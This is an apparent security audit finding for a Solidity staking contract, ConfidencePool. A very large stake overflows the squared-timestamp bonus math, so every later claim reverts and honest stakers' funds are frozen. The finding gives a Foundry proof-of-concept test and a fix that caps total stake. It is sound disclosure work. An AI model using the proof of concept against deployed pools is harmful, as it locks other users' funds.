Description
After a SURVIVED or EXPIRED resolution, ConfidencePool is expected to let stakers recover their principal plus a pro-rata bonus under the k=2 time-weighted formula. Bonus calculation should only affect distribution weights; it must not make principal claims impossible.
The issue is that stake() accepts amounts that are safe at deposit time but unsafe at claim time. stake() records received * entryTime * entryTime using the current block.timestamp, while _bonusShare() later recomputes scores with a larger terminal timestamp T = outcomeFlaggedAt via T² × snapshotTotalStaked + Σ(stake×entry²). A large but standard ERC-20 stake can therefore pass deposit checks yet overflow intermediate products in _bonusShare(). Once the pool holds any positive bonus, every claimSurvived() / claimExpired() call that reaches _bonusShare() reverts, including claims from unrelated honest stakers.
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
uint256 contribTime = received * newEntry;
@> uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
@> totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
...
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
...
}
Risk
Likelihood:
-
A participant stakes a very large amount of a standard ERC-20 before the risk window closes, large enough that the later outcomeFlaggedAt² × snapshotTotalStaked + snapshotSumStakeTimeSq calculation exceeds type(uint256).max.
-
The pool contains any positive bonus, causing _bonusShare() to execute during claimSurvived() or claimExpired() instead of returning early at snapshotTotalBonus == 0.
Impact:
-
Honest stakers cannot claim principal or bonus after a SURVIVED / EXPIRED resolution because every claim reverts with a Solidity arithmetic panic.
-
The pool becomes effectively insolvent from a liveness perspective: funds remain in the contract even though the outcome entitles stakers to withdraw.
Proof of Concept
Add the following test file at test/audit/ConfidencePool.audit.t.sol and run:
forge test --offline --match-path test/audit/ConfidencePool.audit.t.sol
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {stdError} from "forge-std/StdError.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
contract ConfidencePoolAuditTest is BaseConfidencePoolTest {
function testPoC_largeStandardERC20StakePermanentlyBlocksBonusClaims() external {
uint256 terminalTime = block.timestamp + 1 days;
uint256 amount = type(uint256).max / (terminalTime * terminalTime) + 1;
_stakeRaw(alice, amount);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
_contributeBonus(carol, 1);
vm.warp(terminalTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
}
function testPoC_largeStandardERC20StakeBlocksOtherStakersPrincipalClaims() external {
uint256 terminalTime = block.timestamp + 1 days;
uint256 poisonStake = type(uint256).max / (terminalTime * terminalTime) + 1;
_stakeRaw(alice, poisonStake);
_stakeRaw(bob, 100 ether);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
_contributeBonus(carol, 1);
vm.warp(terminalTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(bob);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
}
}
Expected output:
Ran 2 tests for test/audit/ConfidencePool.audit.t.sol:ConfidencePoolAuditTest
[PASS] testPoC_largeStandardERC20StakeBlocksOtherStakersPrincipalClaims()
[PASS] testPoC_largeStandardERC20StakePermanentlyBlocksBonusClaims()
Recommended Mitigation
Bound aggregate totalEligibleStake so all timestamp-squared score intermediates remain safe for the maximum supported uint32 timestamp. The cap must apply to aggregate stake because _bonusShare() uses snapshotTotalStaked. The factor of 2 is required because both T²×stake + Σ(stake×entry²) and 2×T×sumStakeTime can overflow.
contract ConfidencePool is Initializable, Ownable2Step, ReentrancyGuard, Pausable, IConfidencePool {
using SafeERC20 for IERC20;
uint256 private constant _MIN_EXPIRY_LEAD = 30 days;
+ uint256 private constant _MAX_SCORE_STAKE =
+ type(uint256).max / (2 * uint256(type(uint32).max) * uint256(type(uint32).max));
+
+ error StakeCapExceeded();
uint256 public constant override CORRUPTED_CLAIM_WINDOW = 180 days;
uint256 public constant override MODERATOR_CORRUPTED_GRACE = 180 days;
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+ if (totalEligibleStake + received > _MAX_SCORE_STAKE) revert StakeCapExceeded();
_clampUserSums(msg.sender);
...
}
}